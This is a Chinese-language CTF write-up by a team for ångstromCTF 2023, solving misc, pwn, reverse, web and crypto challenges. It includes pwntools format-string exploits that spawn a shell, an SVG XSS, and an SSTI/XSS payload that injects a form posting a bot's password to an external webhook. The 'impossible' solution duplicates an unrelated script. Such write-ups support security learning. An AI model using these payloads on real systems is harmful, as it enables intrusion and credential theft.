ångstromCTF Writeup -VP-Union战队

WriteUp 1年前 (2023) admin
280 0 0


ångstromCTF Writeup  -VP-Union战队

在本次2023年的ångstromCTF国际赛上,星盟安全团队的Polaris战队和Chamd5的Vemon战队联合参赛,合力组成VP-Union联合战队,勇夺第56名的成绩。


ångstromCTF Writeup  -VP-Union战队

MISC

sanity check

加入社区即可查看

ångstromCTF Writeup  -VP-Union战队

Simon Says

按其所说,将第一个字母的前三位和第二个字母的后三位组合发送

from pwn import *from struct import packfrom ctypes import *#from LibcSearcher import *from hashlib import sha256import sysfrom pwnlib.util.iters import mbruteforceimport string

def s(a) : p.send(a)def sa(a, b) : p.sendafter(a, b)def sl(a) : p.sendline(a)def sla(a, b) : p.sendlineafter(a, b)def r() : return p.recv()def pr() : print(p.recv())def rl(a) : return p.recvuntil(a)def inter() : p.interactive()def debug():    gdb.attach(p)    pause()def get_addr() : return u64(p.recvuntil(b'x7f')[-6:].ljust(8, b'x00'))def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
context(os='linux', arch='amd64', log_level='debug')#p = process('./pwn')p = remote('challs.actf.co', 31402)elf = ELF('./pwn')#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1.6_i386/libc-2.27.so')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
for i in range(0x100):    rl(b'Combine the first 3 letters of ')    a = p.recv(3)    rl(b'with the last 3 letters of ')    b = rl(b'n')[:-1][-3:]    sl(a + b)    print(' +++++++++++++++ ', i)    pr()            
ångstromCTF Writeup  -VP-Union战队


Admiral Shark

一个流量文件,分析后发现有 PK 字符串,于是丢进 kali 用 binwalk -e 分解

ångstromCTF Writeup  -VP-Union战队


最终在 sharedStrings.xml 找到 flag

ångstromCTF Writeup  -VP-Union战队

survey

问卷题

ångstromCTF Writeup  -VP-Union战队

PWN

slack

三次格式化字符串机会,但是写入字节有限,先利用栈链的方法修改 i 为 负数,就能够无限触发格式化字符串了,继续利用格式化字符串修改 rbp -> rbp , ret -> one_gadget ,最后把 i 的值修改会正数并退出循环,这样 one_gadget 就能够成功触发 get shell

from pwn import *from struct import packfrom ctypes import *#from LibcSearcher import *from hashlib import sha256import sysfrom pwnlib.util.iters import mbruteforceimport string

def s(a) : p.send(a)def sa(a, b) : p.sendafter(a, b)def sl(a) : p.sendline(a)def sla(a, b) : p.sendlineafter(a, b)def r() : return p.recv()def pr() : print(p.recv())def rl(a) : return p.recvuntil(a)def inter() : p.interactive()def debug():    gdb.attach(p)    pause()def get_addr() : return u64(p.recvuntil(b'x7f')[-6:].ljust(8, b'x00'))def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
context(os='linux', arch='amd64', log_level='debug')#p = process('./pwn')p = remote('challs.actf.co', 31500)elf = ELF('./pwn')#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1.6_i386/libc-2.27.so')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# leak stacksla(b'Professional): ', b'%25$p')rl(b'0x')stack = int(p.recv(12), 16)i = stack - 0x180ret = stack - 0x110rbp = ret - 0x8
# set i -> 0sa(b'Professional): ', (b'%' + str((i + 3)&0xffff).encode() + b'c%25$hn').ljust(0xd,b'a'))sla(b'Professional): ', b'%255c%55$hhn')# leak libc_base and pro_basesla(b'Professional): ', b'%9$px00')rl(b'0x')libc_base = int(p.recv(12), 16) - 0x2206a0
#gdb.attach(p, 'b *$rebase(0x145b)')
# set rbp -> rbpsla(b'Professional): ', b'%' + str(rbp&0xff).encode() + b'c%25$hhn')sla(b'Professional): ', b'%' + str(rbp & 0xff).encode() + b'c%55$hhn')
sla(b'Professional): ', b'%' + str((rbp + 1)&0xff).encode() + b'c%25$hhn')sla(b'Professional): ', b'%' + str((rbp >> 8) & 0xff).encode() + b'c%55$hhn')
sla(b'Professional): ', b'%' + str((rbp + 2)&0xff).encode() + b'c%25$hhn')sla(b'Professional): ', b'%' + str((rbp >> 16) & 0xff).encode() + b'c%55$hhn')
sla(b'Professional): ', b'%' + str((rbp + 3)&0xff).encode() + b'c%25$hhn')sla(b'Professional): ', b'%' + str((rbp >> 24) & 0xff).encode() + b'c%55$hhn')
sla(b'Professional): ', b'%' + str((rbp + 4)&0xff).encode() + b'c%25$hhn')sla(b'Professional): ', b'%' + str((rbp >> 32) & 0xff).encode() + b'c%55$hhn')
sla(b'Professional): ', b'%' + str((rbp + 5)&0xff).encode() + b'c%25$hhn')sla(b'Professional): ', b'%' + str((rbp >> 40) & 0xff).encode() + b'c%55$hhn')
# set ret -> one_gadgetone_gadget = libc_base + 0xebcf1sla(b'Professional): ', b'%' + str(ret&0xff).encode() + b'c%25$hhn')sla(b'Professional): ', b'%' + str(one_gadget & 0xff).encode() + b'c%55$hhn')
sla(b'Professional): ', b'%' + str((ret + 1)&0xff).encode() + b'c%25$hhn')sla(b'Professional): ', b'%' + str((one_gadget >> 8) & 0xff).encode() + b'c%55$hhn')
sla(b'Professional): ', b'%' + str((ret + 2)&0xff).encode() + b'c%25$hhn')sla(b'Professional): ', b'%' + str((one_gadget >> 16) & 0xff).encode() + b'c%55$hhn')
# set i sa(b'Professional): ', (b'%' + str((i + 3)&0xff).encode() + b'c%25$hhn').ljust(0xd,b'a'))sla(b'Professional): ', b'%55$hhn')
inter()#pause()
ångstromCTF Writeup  -VP-Union战队

noleek

两个格式化字符串触发机会,并且数据写入了 /dev/null ,这样的话就可以利用 %*i$c 的方式来修改栈上的值。

恰好有个 one_gadget 适用,于是先利用第一次格式化字符串修改栈链执行 ret,第二次修改 ret 为 one_gadget

不足的是本方法成功概率低,需多次运行 exp

from pwn import *from struct import packfrom ctypes import *#from LibcSearcher import *from hashlib import sha256import sysfrom pwnlib.util.iters import mbruteforceimport string

def s(a) : p.send(a)def sa(a, b) : p.sendafter(a, b)def sl(a) : p.sendline(a)def sla(a, b) : p.sendlineafter(a, b)def r() : return p.recv()def pr() : print(p.recv())def rl(a) : return p.recvuntil(a)def inter() : p.interactive()def debug():    gdb.attach(p)    pause()def get_addr() : return u64(p.recvuntil(b'x7f')[-6:].ljust(8, b'x00'))def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
context(os='linux', arch='amd64', log_level='debug')p = process('./pwn')#p = remote('challs.actf.co', 31400)elf = ELF('./pwn')#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1.6_i386/libc-2.27.so')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#gdb.attach(p, 'b *$rebase(0x1262)')

sla(b'leek? ', b'%*1$c%56c%13$n')sla(b'leek? ', b'%*12$c%' + str(0xa5916).encode() + b'c%42$n')
inter()

RE

checkers

ida直接打开

actf{ive_be3n_checkm4ted_21d1b2cebabf983f}

checkers

a = 'anextremelycomplicatedkeythatisdefinitelyuselessss'b = [0x32, 0x26, 0x20, 0x3D, 0x24, 0x21, 0x2D, 0x28, 0x20, 0x3C, 0x2A, 0x2B, 0x2A, 0x28, 0x20, 0x3F, 0x21, 0x26, 0x24, 0x24, 0x36, 0x2C, 0x2E, 0x20, 0x29, 0x27, 0x20, 0x24, 0x31, 0x39, 0x20, 0x2C, 0x20, 0x23, 0x39, 0x3D, 0x21, 0x31, 0x20, 0x3C, 0x2A, 0x3D, 0x36, 0x20, 0x3C, 0x36, 0x3B, 0x36, 0x36, 0x23, 0x00]
result = ""for i in range(len(a)):    result += chr(ord(a[i]) ^b[i])
print(result)

Bananas

github查一下找到对应反编译插件

Module:  Elixir.Bananas
Attributes: [{vsn, [30426469076575DB017A805FDFD2503F]}]
Compilation Info: [{version, 8.2.3}, {options, [no_spawn_compiler_process, from_core, no_core_prepare, no_auto_import]}, {source, /Users/alexahunleth/experiments/cybersec_challs/bananas/lib/bananas.ex}]

//Function  Elixir.Bananas:__info__/1label01:  func_info            Elixir.Bananas __info__ 1label02:  select_val           X[0] label09 [attributes, label08, compile, label08, deprecated, label07, exports_md5, label06, functions, label05, macros, label07, md5, label08, module, label04, struct, label03]label03:  move                 nil X[0]          return              label04:  move                 Elixir.Bananas X[0]          return              label05:  move                 [{main, 0}, {main, 1}] X[0]          return              label06:  move                 T�}��|�6���� X[0]          return              label07:  move                 nil X[0]          return              label08:  move                 X[0] X[1]          move                 Elixir.Bananas X[0]          call_ext_only        2 erlang:get_module_info/2label09:  call_only            1 label30
//Function  Elixir.Bananas:check/1label10:  func_info            Elixir.Bananas check 1 //line lib/bananas.ex, 17label11:  is_nonempty_list     label12 X[0]          get_list             X[0] X[1] X[0]          is_eq_exact          label12 X[0] [bananas]          gc_bif2              label00 2 erlang:+/2 X[1] 5 X[0] //line lib/bananas.ex, 18          gc_bif2              label00 1 erlang:*/2 . X[0] 1          bs_put_utf8          X[0] label79 X[5]          move                 . X[0]          test_heap            971 X[0]          return              label12:  move                 false X[0]          return              
//Function  Elixir.Bananas:convert_input/1label13:  func_info            Elixir.Bananas convert_input 1 //line lib/bananas.ex, 10label14:  allocate             0 1          call_ext             1 Elixir.String:trim/1 //line lib/bananas.ex, 12          call_ext             1 Elixir.String:split/1 //line lib/bananas.ex, 13          call_last            1 label23 0
//Function  Elixir.Bananas:main/0label15:  func_info            Elixir.Bananas main 0 //line lib/bananas.ex, 3label16:  move                 nil X[0]          call_only            1 label18
//Function  Elixir.Bananas:main/1label17:  func_info            Elixir.Bananas main 1 //line lib/bananas.ex, 3label18:  allocate             0 0          move                 How many bananas do I have? X[0]          call_ext             1 Elixir.IO:gets/1 //line lib/bananas.ex, 4          call                 1 label14 //line lib/bananas.ex, 5          call                 1 label11 //line lib/bananas.ex, 6          call_last            1 label20 0
//Function  Elixir.Bananas:print_flag/1label19:  func_info            Elixir.Bananas print_flag 1 //line lib/bananas.ex, 25label20:  is_eq_exact          label21 X[0] true          allocate             0 0          move                 flag.txt X[0]          call_ext             1 Elixir.File:read!/1 //line lib/bananas.ex, 30          call_ext_last        1 Elixir.IO:puts/1 0 //line lib/bananas.ex, 31label21:  move                 Nope X[0]          call_ext_only        1 Elixir.IO:puts/1 //line lib/bananas.ex, 26
//Function  Elixir.Bananas:to_integer/1label22:  func_info            Elixir.Bananas to_integer 1 //line lib/bananas.ex, 34label23:  is_nonempty_list     label24 X[0]          get_list             X[0] X[1] X[2]          is_nonempty_list     label24 X[2]          get_tl               X[2] X[3]          is_nil               label24 X[3]          allocate             1 3          move                 X[2] Y[0]          move                 X[1] X[0]          call_ext             1 erlang:binary_to_integer/1 //line lib/bananas.ex, 35          test_heap            2 1          put_list             X[0] Y[0] X[0]          deallocate           1          return              label24:  return              
//Function  Elixir.Bananas:module_info/0label25:  func_info            Elixir.Bananas module_info 0label26:  move                 Elixir.Bananas X[0]          call_ext_only        1 erlang:get_module_info/1
//Function  Elixir.Bananas:module_info/1label27:  func_info            Elixir.Bananas module_info 1label28:  move                 X[0] X[1]          move                 Elixir.Bananas X[0]          call_ext_only        2 erlang:get_module_info/2
//Function  Elixir.Bananas:-inlined-__info__/1-/1label29:  func_info            Elixir.Bananas -inlined-__info__/1- 1label30:  jump                 label29          int_code_end        


# -*- coding:UTF-8 -*-from pwn import *import  time
# 连接远程主机
num=0# 循环发送输入并接收输出
while True:    # 接收并打印服务器发送的输入提示信息    r = remote('challs.actf.co', 31403)        # 构造输入    result0 = r.recvline().decode().strip()    bananas =  str(num)+" bananas"    bananas += "n"      # 发送输入    r.send(bananas.encode())    time.sleep(2)    # 接收输出并判断是否为"Nope"    result = r.recvline().decode().strip()    print(result)    print(num)    if result == "Nope":        num += 1    else:        print(result)        break    r.close()# 关闭连接

WEB


catch me if you can

ångstromCTF Writeup  -VP-Union战队


directory

写脚本一个一个目录访问


ångstromCTF Writeup  -VP-Union战队


Celeste Tunneling Association

改一下host值为flag.local


hallmark

svg xss

svg文件里面可以执行 javascript代码

先post/card  svg=heart&content=1

得到一个 

idc6db6b8d-ba14-4f83-9550-4338d3cdfbdb

put路由可以编辑svg文件 然后

cards[id].type = type == "image/svg+xml" ? type : "text/plain";cards[id].content = type === "image/svg+xml" ? IMAGES[svg || "heart"] : content


这里用数组来绕一下

ångstromCTF Writeup  -VP-Union战队


然后让bot去访问get 生成的id 

https://hallmark.web.actf.co/card?id=c6db6b8d-ba14-4f83-9550-4338d3cdfbdb


ångstromCTF Writeup  -VP-Union战队

brokenlogin

题目给了两个网页和两个源码,分别是


ångstromCTF Writeup  -VP-Union战队
ångstromCTF Writeup  -VP-Union战队

源码分别为


module.exports = {    name: "brokenlogin",    timeout: 7000,    async execute(browser, url) {        if (!/^https://brokenlogin.web.actf.co/.*/.test(url)) return;
       const page = await browser.newPage();
       await page.goto(url);        await page.waitForNetworkIdle({            timeout: 5000,        });
       await page.waitForSelector("input[name=username]");
       await page.$eval(            "input[name=username]",            (el) => (el.value = "admin")        );
       await page.waitForSelector("input[name=password]");
       await page.$eval(            "input[name=password]",            (el, password) => (el.value = password),            process.env.CHALL_BROKENLOGIN_FLAG        );
       await page.click("input[type=submit]");
       await new Promise((r) => setTimeout(r, 1000));
       await page.close();    },};


from flask import Flask, make_response, request, escape, render_template_string
app = Flask(__name__)
fails = 0
indexPage = """<html>    <head>        <title>Broken Login</title>    </head>    <body>        <p style="color: red; fontSize: '28px';">%s</p>        <p>Number of failed logins: {{ fails }}</p>        <form action="/" method="POST">            <label for="username">Username: </label>            <input id="username" type="text" name="username" /><br /><br />
           <label for="password">Password: </label>            <input id="password" type="password" name="password" /><br /><br />
           <input type="submit" />        </form>    </body></html>"""
@app.get("/")def index():    global fails    custom_message = ""
   if "message" in request.args:        if len(request.args["message"]) >= 25:            return render_template_string(indexPage, fails=fails)                custom_message = escape(request.args["message"])        return render_template_string(indexPage % custom_message, fails=fails)

@app.post("/")def login():    global fails    fails += 1    return make_response("wrong username or password", 401)

if __name__ == "__main__":    app.run("0.0.0.0")


先看第一个源代码,主要有用的地方是

ångstromCTF Writeup  -VP-Union战队


意思是有username和password输入框

但是password输入框这里多了一条

process.env.CHALL_BROKENLOGIN_FLAG

flag就在其中


ångstromCTF Writeup  -VP-Union战队


ångstromCTF Writeup  -VP-Union战队


这里可以传参message,还有两个if,看第二个if

如果传入的message大于等于25

就会return 

render_template_string(indexPage, fails=fails)


否则就会return 

render_template_string(indexPage % custom_message, fails=fails)


第二个return可以将我们传参的message包含进去,猜测有ssti,去网页上测试一下

ångstromCTF Writeup  -VP-Union战队


确实可以ssti,但是有限制,message传参的长度不能大于25,绕过这个可以使用以下payload

?message={{request.args.a}}&a=


ångstromCTF Writeup  -VP-Union战队


这样就可以绕过长度限制,试试看能不能使用xss

ångstromCTF Writeup  -VP-Union战队


将输入的当成了字符串,可以使用safe,如以下,可以xss语句判定为安全,而不是转为字符串

ångstromCTF Writeup  -VP-Union战队


这样就成功执行了,因为flag在password,所以需要读取这里的信息,如果username和password什么都不输入,就会自动填入我们想要的信息,所以再构造一个表单 payload如下

https://brokenlogin.web.actf.co/?message={{request.args.a|safe}}&a=<form action="https://webhook.site/14144f4b-81cb-4e28-b9b0-0e067d387836" method="POST">            <label for="username">Username: </label>            <input id="username" type="text" name="username" /><br /><br />
           <label for="password">Password: </label>            <input id="password" type="password" name="password" /><br /><br />
           <input type="submit" />        </form>


ångstromCTF Writeup  -VP-Union战队



ångstromCTF Writeup  -VP-Union战队

成功构造出一个表单,使用bot将网页发出

ångstromCTF Writeup  -VP-Union战队

于是在webhook接收到flag


ångstromCTF Writeup  -VP-Union战队

shortcircuit

将得到的4块组合起来,仅有两种可能,得到flag


ångstromCTF Writeup  -VP-Union战队


crypto

ranch

题目

import string
f = open("flag.txt").read()
encrypted = ""
shift = int(open("secret_shift.txt").read().strip())
for i in f:    if i in string.ascii_lowercase:        encrypted += chr(((ord(i) - 97 + shift) % 26)+97)    else:        encrypted += i
print(encrypted)

题解

import stringc = "rtkw{cf0bj_czbv_nv'cc_y4mv_kf_kip_re0kyvi_uivjj1ex_5vw89s3r44901831}"
for shift in range(26):    plain = ''    for i in c:        if i in string.ascii_lowercase:            plain += chr(((ord(i) - 97 - shift) % 26)+97)        else:            plain += i    print(plain)# actf{lo0ks_like_we'll_h4ve_to_try_an0ther_dress1ng_5ef89b3a44901831}

Royal Society of Arts

题目

import string
f = open("flag.txt").read()
encrypted = ""
shift = int(open("secret_shift.txt").read().strip())
for i in f:    if i in string.ascii_lowercase:        encrypted += chr(((ord(i) - 97 + shift) % 26)+97)    else:        encrypted += i
print(encrypted)

题解

import gmpy2from Crypto.Util.number import *
n = 125152237161980107859596658891851084232065907177682165993300073587653109353529564397637482758441209445085460664497151026134819384539887509146955251284230158509195522123739130077725744091649212709410268449632822394998403777113982287135909401792915941770405800840172214125677106752311001755849804716850482011237e = 65537c = 40544832072726879770661606103417010618988078158535064967318135325645800905492733782556836821807067038917156891878646364780739241157067824416245546374568847937204678288252116089080688173934638564031950544806463980467254757125934359394683198190255474629179266277601987023393543376811412693043039558487983367289# (p-2)*(q-1)A = 125152237161980107859596658891851084232065907177682165993300073587653109353529564397637482758441209445085460664497151026134819384539887509146955251284230125943565148141498300205893475242956903188936949934637477735897301870046234768439825644866543391610507164360506843171701976641285249754264159339017466738250# (p-1)*(q-2)B = 125152237161980107859596658891851084232065907177682165993300073587653109353529564397637482758441209445085460664497151026134819384539887509146955251284230123577760657520479879758538312798938234126141096433998438004751495264208294710150161381066757910797946636886901614307738041629014360829994204066455759806614# from z3 import *# S = Solver()# p = Int('p')# q = Int('q')# S.add(p*q==n)# S.add((p-2)*(q-1)==A)# if S.check():#     print(S.model())q = 10066608627787074136474825702134891213485892488338118768309318431767076602486802139831042195689782446036335353380696670398366251621025771896701757102780451p = 12432413118408092556922180864578909882548688341838757808040464238372914542545091804094841981170595006563808958609560634333378522509950041851974318809712087m = pow(c,gmpy2.invert(e, (p-1)*(q-1)), n)print(long_to_bytes(int(m)))# actf{tw0_equ4ti0ns_in_tw0_unkn0wns_d62507431b7e7087}

Royal Society of Arts2

题目

from Crypto.Util.number import getStrongPrime, bytes_to_long, long_to_bytesf = open("flag.txt").read()m = bytes_to_long(f.encode())p = getStrongPrime(512)q = getStrongPrime(512)n = p*qe = 65537c = pow(m,e,n)print("n =",n)print("e =",e)print("c =",c)
d = pow(e, -1, (p-1)*(q-1))
c = int(input("Text to decrypt: "))
if c == m or b"actf{" in long_to_bytes(pow(c, d, n)):    print("No flag for you!")    exit(1)
print("m =", pow(c, d, n))

题解

选择密文攻击

from pwn import *from Crypto.Util.number import *sh = remote('challs.actf.co',32400)exec(sh.recvline().decode())exec(sh.recvline().decode())exec(sh.recvline().decode())X = getPrime(5)Y = (c * (X ** e)) % nsh.sendlineafter(b'Text to decrypt: ', str(Y).encode())exec(sh.recvline().decode())Z = mi = 0while True:    M = (n * i + Z) // X    if b'actf' in long_to_bytes(M):        print(long_to_bytes(M))  # actf{rs4_is_sorta_homom0rphic_50c8d344df58322b}        break

impossible

一开始题目没上附件,python要求输入整数x、y,满足xy,没思路。

题目

#!/usr/local/bin/python
def fake_psi(a, b):    return [i for i in a if i in b]
def zero_encoding(x, n):    ret = []
   for i in range(n):        if (x & 1) == 0:            ret.append(x | 1)
       x >>= 1
   return ret
def one_encoding(x, n):    ret = []
   for i in range(n):        if x & 1:            ret.append(x)
       x >>= 1
   return ret
print("Supply positive x and y such that x < y and x > y.")x = int(input("x: "))y = int(input("y: "))
if len(fake_psi(one_encoding(x, 64), zero_encoding(y, 64))) == 0 and x > y and x > 0 and y > 0:    print(open("flag.txt").read())

题解

后面上了附件,则易得

from pwn import *from Crypto.Util.number import *sh = remote('challs.actf.co',32400)exec(sh.recvline().decode())exec(sh.recvline().decode())exec(sh.recvline().decode())X = getPrime(5)Y = (c * (X ** e)) % nsh.sendlineafter(b'Text to decrypt: ', str(Y).encode())exec(sh.recvline().decode())Z = mi = 0while True:    M = (n * i + Z) // X    if b'actf' in long_to_bytes(M):        print(long_to_bytes(M))  # actf{rs4_is_sorta_homom0rphic_50c8d344df58322b}        break

Lazy Lagrange

题目

#!/usr/local/bin/pythonimport random
with open('flag.txt', 'r') as f:  FLAG = f.read()
assert all(c.isascii() and c.isprintable() for c in FLAG), 'Malformed flag'N = len(FLAG)assert N <= 18, 'I'm too lazy to store a flag that long.'p = Nonea = NoneM = (1 << 127) - 1
def query1(s):  if len(s) > 100:    return 'I'm too lazy to read a query that long.'  x = s.split()  if len(x) > 10:    return 'I'm too lazy to process that many inputs.'  if any(not x_i.isdecimal() for x_i in x):    return 'I'm too lazy to decipher strange inputs.'  x = (int(x_i) for x_i in x)  global p, a  p = random.sample(range(N), k=N)  a = [ord(FLAG[p[i]]) for i in range(N)]  res = ''  for x_i in x:    res += f'{sum(a[j] * x_i ** j for j in range(N)) % M}n'  return res
query1('0')
def query2(s):  if len(s) > 100:    return 'I'm too lazy to read a query that long.'  x = s.split()  if any(not x_i.isdecimal() for x_i in x):    return 'I'm too lazy to decipher strange inputs.'  x = [int(x_i) for x_i in x]  while len(x) < N:    x.append(0)  z = 1  for i in range(N):    z *= not x[i] - a[i]  return ' '.join(str(p_i * z) for p_i in p)
while True:  try:    choice = int(input(": "))    assert 1 <= choice <= 2    match choice:      case 1:        print(query1(input("t> ")))      case 2:        print(query2(input("t> ")))  except Exception as e:    print("Bad input, exiting", e)    break

题解

利用query1,发送比字符最大ascii码值大的底数,就可以利用整除求出列表a

再利用query2, 把正确的a列表发过去就能得到其正确排序列表,即可恢复flag

import randomfrom pwn import *# context.log_level = 'debug'
sh = remote('challs.actf.co', 32100)sh.sendlineafter(b':', b'1')t = 127sh.sendlineafter(b'>', str(t).encode())num1 = int(sh.recvline().decode())print(num1)for N in range(18, 9, -1):    a = []    tmp_num1 = num1    tmp_N = N    while tmp_N >= 0 and tmp_num1 > 0:  # 0不能忽略,故为大于等于        tmp = tmp_num1 // pow(t, tmp_N)        a.append(tmp)        tmp_num1 -= tmp * pow(t, tmp_N)        tmp_N -= 1    if max(a) > 126:        continue    if all(chr(c).isascii() and chr(c).isprintable() for c in a):        print('N =', N+1)        a = a[::-1]  # 记得倒序        print('a =', bytes(a), a, sum(a), len(a), set(a))        sh.sendlineafter(b':', b'2')        ans = ' '.join([str(i) for i in a])        print(ans)        sh.sendlineafter(b'>', ans.encode())        Index = sh.recvline().decode().split()        flag = ''        print(Index)        for i in range(N+1):            flag += chr(a[Index.index(str(i))])        print(flag)  # actf{f80f6086a77b}
ångstromCTF Writeup  -VP-Union战队
ångstromCTF Writeup  -VP-Union战队


原文始发于微信公众号(星盟安全):ångstromCTF Writeup -VP-Union战队

版权声明:admin 发表于 2023年5月6日 下午6:51。
转载请注明:ångstromCTF Writeup -VP-Union战队 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...